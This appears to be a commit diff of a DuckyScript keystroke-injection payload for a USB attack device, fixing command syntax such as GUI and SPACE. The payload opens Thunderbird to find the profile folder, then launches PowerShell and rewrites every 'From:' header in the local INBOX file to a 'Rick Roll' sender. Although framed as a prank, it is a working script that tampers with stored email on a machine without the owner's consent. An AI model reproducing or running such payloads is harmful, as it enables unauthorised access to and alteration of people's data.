Update payload.txt
parent
9ac4d543b1
commit
fe2a080aae
|
@ -37,7 +37,7 @@ EXTENSION DETECT_READY
|
|||
END_EXTENSION
|
||||
|
||||
REM Open Thunderbird and goto settings
|
||||
WIN r
|
||||
GUI r
|
||||
STRING thunderbird
|
||||
ENTER
|
||||
DELAY 1000
|
||||
|
@ -59,7 +59,7 @@ DELAY 500
|
|||
REM Copy the directory path
|
||||
REPEAT 4 TAB
|
||||
DELAY 500
|
||||
SPACEBAR
|
||||
SPACE
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
@ -69,7 +69,7 @@ ALT F4
|
|||
DELAY 500
|
||||
|
||||
REM Open the powershell and goto the directory
|
||||
WIN r
|
||||
GUI r
|
||||
STRING powershell
|
||||
ENTER
|
||||
DELAY 1500
|
||||
|
@ -88,7 +88,7 @@ STRINGLN
|
|||
# Replace backslashes with slash
|
||||
$newPath = $dir.FullName -replace '\\', '/'
|
||||
|
||||
# Add the sub-string “/INBOX” to the end
|
||||
# Add the sub-string '/INBOX' to the end
|
||||
$newPath += "/INBOX"
|
||||
|
||||
# Check whether the INBOX file exists
|
||||
|
@ -97,7 +97,7 @@ STRINGLN
|
|||
$emails = Get-Content -Path $newPath -Raw
|
||||
|
||||
# Replace email sender with Rick Roll!
|
||||
# The following operation is simplified and assumes that the sender starts with “From: ...”
|
||||
# The following operation is simplified and assumes that the sender starts with 'From: ...'
|
||||
# and does not contain complex MIME structures
|
||||
$modifiedEmails = $emails -replace "From:\s.*\s<(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>", "From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>"
|
||||
|
||||
|
|
Loading…
Reference in New Issue